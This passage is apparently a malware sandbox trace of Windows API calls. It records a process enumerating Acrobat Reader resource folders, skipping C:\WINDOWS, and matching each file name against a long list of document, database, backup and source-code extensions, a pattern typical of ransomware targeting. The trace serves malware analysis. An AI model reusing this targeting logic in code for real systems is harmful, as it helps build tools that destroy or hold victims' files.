[0267.520] lstrcmpiW (lpString1=".html", lpString2="ch.js") returned -1 [0267.520] lstrlenW (lpString=".icb") returned 4 [0267.520] lstrcmpiW (lpString1=".icb", lpString2="h.js") returned -1 [0267.520] lstrlenW (lpString=".ics") returned 4 [0267.520] lstrcmpiW (lpString1=".ics", lpString2="h.js") returned -1 [0267.520] lstrlenW (lpString=".iff") returned 4 [0267.520] lstrcmpiW (lpString1=".iff", lpString2="h.js") returned -1 [0267.520] lstrlenW (lpString=".inc") returned 4 [0267.520] lstrcmpiW (lpString1=".inc", lpString2="h.js") returned -1 [0267.520] lstrlenW (lpString=".indd") returned 5 [0267.520] lstrcmpiW (lpString1=".indd", lpString2="ch.js") returned -1 [0267.520] lstrlenW (lpString=".ini") returned 4 [0267.520] lstrcmpiW (lpString1=".ini", lpString2="h.js") returned -1 [0267.520] lstrlenW (lpString=".iqy") returned 4 [0267.520] lstrcmpiW (lpString1=".iqy", lpString2="h.js") returned -1 [0267.520] lstrlenW (lpString=".j2c") returned 4 [0267.520] lstrcmpiW (lpString1=".j2c", lpString2="h.js") returned -1 [0267.520] lstrlenW (lpString=".j2k") returned 4 [0267.520] lstrcmpiW (lpString1=".j2k", lpString2="h.js") returned -1 [0267.520] lstrlenW (lpString=".java") returned 5 [0267.520] lstrcmpiW (lpString1=".java", lpString2="ch.js") returned -1 [0267.520] lstrlenW (lpString=".jp2") returned 4 [0267.521] lstrcmpiW (lpString1=".jp2", lpString2="h.js") returned -1 [0267.521] lstrlenW (lpString=".jpc") returned 4 [0267.521] lstrcmpiW (lpString1=".jpc", lpString2="h.js") returned -1 [0267.521] lstrlenW (lpString=".jpe") returned 4 [0267.521] lstrcmpiW (lpString1=".jpe", lpString2="h.js") returned -1 [0267.521] lstrlenW (lpString=".jpeg") returned 5 [0267.521] lstrcmpiW (lpString1=".jpeg", lpString2="ch.js") returned -1 [0267.521] lstrlenW (lpString=".jpf") returned 4 [0267.521] lstrcmpiW (lpString1=".jpf", lpString2="h.js") returned -1 [0267.521] lstrlenW (lpString=".jpg") returned 4 [0267.521] lstrcmpiW (lpString1=".jpg", lpString2="h.js") returned -1 [0267.521] lstrlenW (lpString=".jpx") returned 4 [0267.521] lstrcmpiW (lpString1=".jpx", lpString2="h.js") returned -1 [0267.521] lstrlenW (lpString=".js") returned 3 [0267.521] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0267.521] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="jquery.ui.touch-punch.js", cAlternateFileName="JQUERY~1.JS")) returned 0 [0267.521] FindClose (in: hFindFile=0x3315670 | out: hFindFile=0x3315670) returned 1 [0267.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0267.522] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.2.2", cAlternateFileName="020A5B~1.2")) returned 0 [0267.522] FindClose (in: hFindFile=0x33159f0 | out: hFindFile=0x33159f0) returned 1 [0267.522] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0267.522] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 1 [0267.522] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require") returned 99 [0267.522] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require") returned 1 [0267.522] lstrlenW (lpString="require") returned 7 [0267.522] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="require") returned -1 [0267.522] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4290fc0 [0267.522] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require") returned 99 [0267.522] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\*", lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33158f0 [0267.523] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.523] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 1 [0267.523] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15") returned 106 [0267.523] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15") returned 1 [0267.523] lstrlenW (lpString="2.1.15") returned 6 [0267.523] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="2.1.15") returned 1 [0267.523] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x42a0fc8 [0267.523] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15") returned 106 [0267.524] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\libs\\require\\2.1.15\\*", lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315c30 [0267.524] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0267.524] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3adc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require.min.js", cAlternateFileName="REQUIR~1.JS")) returned 1 [0267.524] lstrlenW (lpString="require.min.js") returned 14 [0267.524] lstrlenW (lpString=".1cd") returned 4 [0267.524] lstrcmpiW (lpString1=".1cd", lpString2="n.js") returned -1 [0267.524] lstrlenW (lpString=".3ds") returned 4 [0267.525] lstrcmpiW (lpString1=".3ds", lpString2="n.js") returned -1 [0267.525] lstrlenW (lpString=".3fr") returned 4 [0267.525] lstrcmpiW (lpString1=".3fr", lpString2="n.js") returned -1 [0267.525] lstrlenW (lpString=".3g2") returned 4 [0267.525] lstrcmpiW (lpString1=".3g2", lpString2="n.js") returned -1 [0267.525] lstrlenW (lpString=".3gp") returned 4 [0267.525] lstrcmpiW (lpString1=".3gp", lpString2="n.js") returned -1 [0267.525] lstrlenW (lpString=".7z") returned 3 [0267.525] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0267.525] lstrlenW (lpString=".accda") returned 6 [0267.525] lstrcmpiW (lpString1=".accda", lpString2="min.js") returned -1 [0267.525] lstrlenW (lpString=".accdb") returned 6 [0267.525] lstrcmpiW (lpString1=".accdb", lpString2="min.js") returned -1 [0267.525] lstrlenW (lpString=".accdc") returned 6 [0267.525] lstrcmpiW (lpString1=".accdc", lpString2="min.js") returned -1 [0267.525] lstrlenW (lpString=".accde") returned 6 [0267.525] lstrcmpiW (lpString1=".accde", lpString2="min.js") returned -1 [0267.525] lstrlenW (lpString=".accdt") returned 6 [0267.525] lstrcmpiW (lpString1=".accdt", lpString2="min.js") returned -1 [0267.525] lstrlenW (lpString=".accdw") returned 6 [0267.525] lstrcmpiW (lpString1=".accdw", lpString2="min.js") returned -1 [0267.525] lstrlenW (lpString=".adb") returned 4 [0267.526] lstrcmpiW (lpString1=".adb", lpString2="n.js") returned -1 [0267.526] lstrlenW (lpString=".adp") returned 4 [0267.526] lstrcmpiW (lpString1=".adp", lpString2="n.js") returned -1 [0267.526] lstrlenW (lpString=".ai") returned 3 [0267.526] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0267.526] lstrlenW (lpString=".ai3") returned 4 [0267.526] lstrcmpiW (lpString1=".ai3", lpString2="n.js") returned -1 [0267.526] lstrlenW (lpString=".ai4") returned 4 [0267.526] lstrcmpiW (lpString1=".ai4", lpString2="n.js") returned -1 [0267.526] lstrlenW (lpString=".ai5") returned 4 [0267.526] lstrcmpiW (lpString1=".ai5", lpString2="n.js") returned -1 [0267.526] lstrlenW (lpString=".ai6") returned 4 [0267.526] lstrcmpiW (lpString1=".ai6", lpString2="n.js") returned -1 [0267.526] lstrlenW (lpString=".ai7") returned 4 [0267.526] lstrcmpiW (lpString1=".ai7", lpString2="n.js") returned -1 [0267.526] lstrlenW (lpString=".ai8") returned 4 [0267.526] lstrcmpiW (lpString1=".ai8", lpString2="n.js") returned -1 [0267.526] lstrlenW (lpString=".anim") returned 5 [0267.526] lstrcmpiW (lpString1=".anim", lpString2="in.js") returned -1 [0267.526] lstrlenW (lpString=".arw") returned 4 [0267.526] lstrcmpiW (lpString1=".arw", lpString2="n.js") returned -1 [0267.526] lstrlenW (lpString=".as") returned 3 [0267.527] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0267.527] lstrlenW (lpString=".asa") returned 4 [0267.527] lstrcmpiW (lpString1=".asa", lpString2="n.js") returned -1 [0267.527] lstrlenW (lpString=".asc") returned 4 [0267.527] lstrcmpiW (lpString1=".asc", lpString2="n.js") returned -1 [0267.527] lstrlenW (lpString=".ascx") returned 5 [0267.527] lstrcmpiW (lpString1=".ascx", lpString2="in.js") returned -1 [0267.527] lstrlenW (lpString=".asm") returned 4 [0267.527] lstrcmpiW (lpString1=".asm", lpString2="n.js") returned -1 [0267.527] lstrlenW (lpString=".asmx") returned 5 [0267.527] lstrcmpiW (lpString1=".asmx", lpString2="in.js") returned -1 [0267.527] lstrlenW (lpString=".asp") returned 4 [0267.527] lstrcmpiW (lpString1=".asp", lpString2="n.js") returned -1 [0267.527] lstrlenW (lpString=".aspx") returned 5 [0267.527] lstrcmpiW (lpString1=".aspx", lpString2="in.js") returned -1 [0267.528] lstrlenW (lpString=".asr") returned 4 [0267.528] lstrcmpiW (lpString1=".asr", lpString2="n.js") returned -1 [0267.528] lstrlenW (lpString=".asx") returned 4 [0267.528] lstrcmpiW (lpString1=".asx", lpString2="n.js") returned -1 [0267.528] lstrlenW (lpString=".avi") returned 4 [0267.528] lstrcmpiW (lpString1=".avi", lpString2="n.js") returned -1 [0267.528] lstrlenW (lpString=".avs") returned 4 [0267.528] lstrcmpiW (lpString1=".avs", lpString2="n.js") returned -1 [0267.528] lstrlenW (lpString=".backup") returned 7 [0267.528] lstrcmpiW (lpString1=".backup", lpString2=".min.js") returned -1 [0267.528] lstrlenW (lpString=".bak") returned 4 [0267.528] lstrcmpiW (lpString1=".bak", lpString2="n.js") returned -1 [0267.528] lstrlenW (lpString=".bay") returned 4 [0267.528] lstrcmpiW (lpString1=".bay", lpString2="n.js") returned -1 [0267.528] lstrlenW (lpString=".bd") returned 3 [0267.528] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0267.528] lstrlenW (lpString=".bin") returned 4 [0267.528] lstrcmpiW (lpString1=".bin", lpString2="n.js") returned -1 [0267.528] lstrlenW (lpString=".bmp") returned 4 [0267.528] lstrcmpiW (lpString1=".bmp", lpString2="n.js") returned -1 [0267.528] lstrlenW (lpString=".bz2") returned 4 [0267.528] lstrcmpiW (lpString1=".bz2", lpString2="n.js") returned -1 [0267.529] lstrlenW (lpString=".c") returned 2 [0267.529] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0267.529] lstrlenW (lpString=".cdr") returned 4 [0267.529] lstrcmpiW (lpString1=".cdr", lpString2="n.js") returned -1 [0267.529] lstrlenW (lpString=".cer") returned 4 [0267.529] lstrcmpiW (lpString1=".cer", lpString2="n.js") returned -1 [0267.529] lstrlenW (lpString=".cf") returned 3 [0267.529] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0267.529] lstrlenW (lpString=".cfc") returned 4 [0267.529] lstrcmpiW (lpString1=".cfc", lpString2="n.js") returned -1 [0267.529] lstrlenW (lpString=".cfm") returned 4 [0267.529] lstrcmpiW (lpString1=".cfm", lpString2="n.js") returned -1 [0267.529] lstrlenW (lpString=".cfml") returned 5 [0267.529] lstrcmpiW (lpString1=".cfml", lpString2="in.js") returned -1 [0267.529] lstrlenW (lpString=".cfu") returned 4 [0267.529] lstrcmpiW (lpString1=".cfu", lpString2="n.js") returned -1 [0267.529] lstrlenW (lpString=".chm") returned 4 [0267.529] lstrcmpiW (lpString1=".chm", lpString2="n.js") returned -1 [0267.529] lstrlenW (lpString=".cin") returned 4 [0267.530] lstrcmpiW (lpString1=".cin", lpString2="n.js") returned -1 [0267.530] lstrlenW (lpString=".class") returned 6 [0267.530] lstrcmpiW (lpString1=".class", lpString2="min.js") returned -1 [0267.530] lstrlenW (lpString=".clx") returned 4 [0267.530] lstrcmpiW (lpString1=".clx", lpString2="n.js") returned -1 [0267.530] lstrlenW (lpString=".config") returned 7 [0267.530] lstrcmpiW (lpString1=".config", lpString2=".min.js") returned -1 [0267.530] lstrlenW (lpString=".cpp") returned 4 [0267.530] lstrcmpiW (lpString1=".cpp", lpString2="n.js") returned -1 [0267.530] lstrlenW (lpString=".cr2") returned 4 [0267.530] lstrcmpiW (lpString1=".cr2", lpString2="n.js") returned -1 [0267.530] lstrlenW (lpString=".crt") returned 4 [0267.530] lstrcmpiW (lpString1=".crt", lpString2="n.js") returned -1 [0267.530] lstrlenW (lpString=".crw") returned 4 [0267.530] lstrcmpiW (lpString1=".crw", lpString2="n.js") returned -1 [0267.530] lstrlenW (lpString=".cs") returned 3 [0267.530] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0267.530] lstrlenW (lpString=".css") returned 4 [0267.530] lstrcmpiW (lpString1=".css", lpString2="n.js") returned -1 [0267.530] lstrlenW (lpString=".csv") returned 4 [0267.530] lstrcmpiW (lpString1=".csv", lpString2="n.js") returned -1 [0267.530] lstrlenW (lpString=".cub") returned 4 [0267.530] lstrcmpiW (lpString1=".cub", lpString2="n.js") returned -1 [0267.530] lstrlenW (lpString=".dae") returned 4 [0267.530] lstrcmpiW (lpString1=".dae", lpString2="n.js") returned -1 [0267.531] lstrlenW (lpString=".dat") returned 4 [0267.531] lstrcmpiW (lpString1=".dat", lpString2="n.js") returned -1 [0267.531] lstrlenW (lpString=".db") returned 3 [0267.531] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0267.531] lstrlenW (lpString=".dbf") returned 4 [0267.531] lstrcmpiW (lpString1=".dbf", lpString2="n.js") returned -1 [0267.531] lstrlenW (lpString=".dbx") returned 4 [0267.531] lstrcmpiW (lpString1=".dbx", lpString2="n.js") returned -1 [0267.531] lstrlenW (lpString=".dc3") returned 4 [0267.531] lstrcmpiW (lpString1=".dc3", lpString2="n.js") returned -1 [0267.531] lstrlenW (lpString=".dcm") returned 4 [0267.531] lstrcmpiW (lpString1=".dcm", lpString2="n.js") returned -1 [0267.531] lstrlenW (lpString=".dcr") returned 4 [0267.531] lstrcmpiW (lpString1=".dcr", lpString2="n.js") returned -1 [0267.531] lstrlenW (lpString=".der") returned 4 [0267.531] lstrcmpiW (lpString1=".der", lpString2="n.js") returned -1 [0267.531] lstrlenW (lpString=".dib") returned 4 [0267.531] lstrcmpiW (lpString1=".dib", lpString2="n.js") returned -1 [0267.531] lstrlenW (lpString=".dic") returned 4 [0267.531] lstrcmpiW (lpString1=".dic", lpString2="n.js") returned -1 [0267.531] lstrlenW (lpString=".dif") returned 4 [0267.531] lstrcmpiW (lpString1=".dif", lpString2="n.js") returned -1 [0267.531] lstrlenW (lpString=".divx") returned 5 [0267.531] lstrcmpiW (lpString1=".divx", lpString2="in.js") returned -1 [0267.531] lstrlenW (lpString=".djvu") returned 5 [0267.531] lstrcmpiW (lpString1=".djvu", lpString2="in.js") returned -1 [0267.532] lstrlenW (lpString=".dng") returned 4 [0267.532] lstrcmpiW (lpString1=".dng", lpString2="n.js") returned -1 [0267.532] lstrlenW (lpString=".doc") returned 4 [0267.532] lstrcmpiW (lpString1=".doc", lpString2="n.js") returned -1 [0267.532] lstrlenW (lpString=".docm") returned 5 [0267.532] lstrcmpiW (lpString1=".docm", lpString2="in.js") returned -1 [0267.532] lstrlenW (lpString=".docx") returned 5 [0267.532] lstrcmpiW (lpString1=".docx", lpString2="in.js") returned -1 [0267.532] lstrlenW (lpString=".dot") returned 4 [0267.532] lstrcmpiW (lpString1=".dot", lpString2="n.js") returned -1 [0267.532] lstrlenW (lpString=".dotm") returned 5 [0267.532] lstrcmpiW (lpString1=".dotm", lpString2="in.js") returned -1 [0267.532] lstrlenW (lpString=".dotx") returned 5 [0267.532] lstrcmpiW (lpString1=".dotx", lpString2="in.js") returned -1 [0267.532] lstrlenW (lpString=".dpx") returned 4 [0267.532] lstrcmpiW (lpString1=".dpx", lpString2="n.js") returned -1 [0267.532] lstrlenW (lpString=".dqy") returned 4 [0267.532] lstrcmpiW (lpString1=".dqy", lpString2="n.js") returned -1 [0267.532] lstrlenW (lpString=".dsn") returned 4 [0267.532] lstrcmpiW (lpString1=".dsn", lpString2="n.js") returned -1 [0267.532] lstrlenW (lpString=".dt") returned 3 [0267.532] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0267.532] lstrlenW (lpString=".dtd") returned 4 [0267.532] lstrcmpiW (lpString1=".dtd", lpString2="n.js") returned -1 [0267.532] lstrlenW (lpString=".dwg") returned 4 [0267.532] lstrcmpiW (lpString1=".dwg", lpString2="n.js") returned -1 [0267.533] lstrlenW (lpString=".dwt") returned 4 [0267.533] lstrcmpiW (lpString1=".dwt", lpString2="n.js") returned -1 [0267.533] lstrlenW (lpString=".dx") returned 3 [0267.533] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0267.533] lstrlenW (lpString=".dxf") returned 4 [0267.665] lstrcmpiW (lpString1=".dxf", lpString2="n.js") returned -1 [0267.665] lstrlenW (lpString=".edml") returned 5 [0267.665] lstrcmpiW (lpString1=".edml", lpString2="in.js") returned -1 [0267.665] lstrlenW (lpString=".efd") returned 4 [0267.665] lstrcmpiW (lpString1=".efd", lpString2="n.js") returned -1 [0267.665] lstrlenW (lpString=".elf") returned 4 [0267.665] lstrcmpiW (lpString1=".elf", lpString2="n.js") returned -1 [0267.665] FindNextFileW (in: hFindFile=0x3315c30, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3adc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require.min.js", cAlternateFileName="REQUIR~1.JS")) returned 0 [0267.666] FindClose (in: hFindFile=0x3315c30 | out: hFindFile=0x3315c30) returned 1 [0267.666] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x42a0fc8 | out: hHeap=0x670000) returned 1 [0267.666] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x396e420 | out: lpFindFileData=0x396e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.1.15", cAlternateFileName="211994~1.15")) returned 0 [0267.666] FindClose (in: hFindFile=0x33158f0 | out: hFindFile=0x33158f0) returned 1 [0267.666] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4290fc0 | out: hHeap=0x670000) returned 1 [0267.666] FindNextFileW (in: hFindFile=0x3315770, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="require", cAlternateFileName="")) returned 0 [0267.666] FindClose (in: hFindFile=0x3315770 | out: hFindFile=0x3315770) returned 1 [0267.666] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4215da0 | out: hHeap=0x670000) returned 1 [0267.666] FindNextFileW (in: hFindFile=0x6cfd88, lpFindFileData=0x396e918 | out: lpFindFileData=0x396e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="misc", cAlternateFileName="")) returned 1 [0267.666] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4215da0 [0267.666] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\misc\\*", lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33155f0 [0268.842] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0268.842] FindNextFileW (in: hFindFile=0x33155f0, lpFindFileData=0x396e69c | out: lpFindFileData=0x396e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="load-typekit.js", cAlternateFileName="LOAD-T~1.JS")) returned 1 [0268.842] lstrlenW (lpString="load-typekit.js") returned 15 [0268.842] lstrlenW (lpString=".1cd") returned 4 [0268.842] lstrcmpiW (lpString1=".1cd", lpString2="t.js") returned -1 [0268.842] lstrlenW (lpString=".3ds") returned 4 [0268.842] lstrcmpiW (lpString1=".3ds", lpString2="t.js") returned -1 [0268.842] lstrlenW (lpString=".3fr") returned 4 [0268.843] lstrcmpiW (lpString1=".3fr", lpString2="t.js") returned -1 [0268.843] lstrlenW (lpString=".3g2") returned 4 [0268.843] lstrcmpiW (lpString1=".3g2", lpString2="t.js") returned -1 [0268.843] lstrlenW (lpString=".3gp") returned 4 [0268.843] lstrcmpiW (lpString1=".3gp", lpString2="t.js") returned -1 [0268.843] lstrlenW (lpString=".7z") returned 3 [0268.844] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0268.844] lstrlenW (lpString=".accda") returned 6 [0268.844] lstrcmpiW (lpString1=".accda", lpString2="kit.js") returned -1 [0268.844] lstrlenW (lpString=".accdb") returned 6 [0268.844] lstrcmpiW (lpString1=".accdb", lpString2="kit.js") returned -1 [0268.844] lstrlenW (lpString=".accdc") returned 6 [0268.844] lstrcmpiW (lpString1=".accdc", lpString2="kit.js") returned -1 [0268.844] lstrlenW (lpString=".accde") returned 6 [0268.844] lstrcmpiW (lpString1=".accde", lpString2="kit.js") returned -1 [0268.844] lstrlenW (lpString=".accdt") returned 6 [0268.844] lstrcmpiW (lpString1=".accdt", lpString2="kit.js") returned -1 [0268.844] lstrlenW (lpString=".accdw") returned 6 [0268.844] lstrcmpiW (lpString1=".accdw", lpString2="kit.js") returned -1 [0268.844] 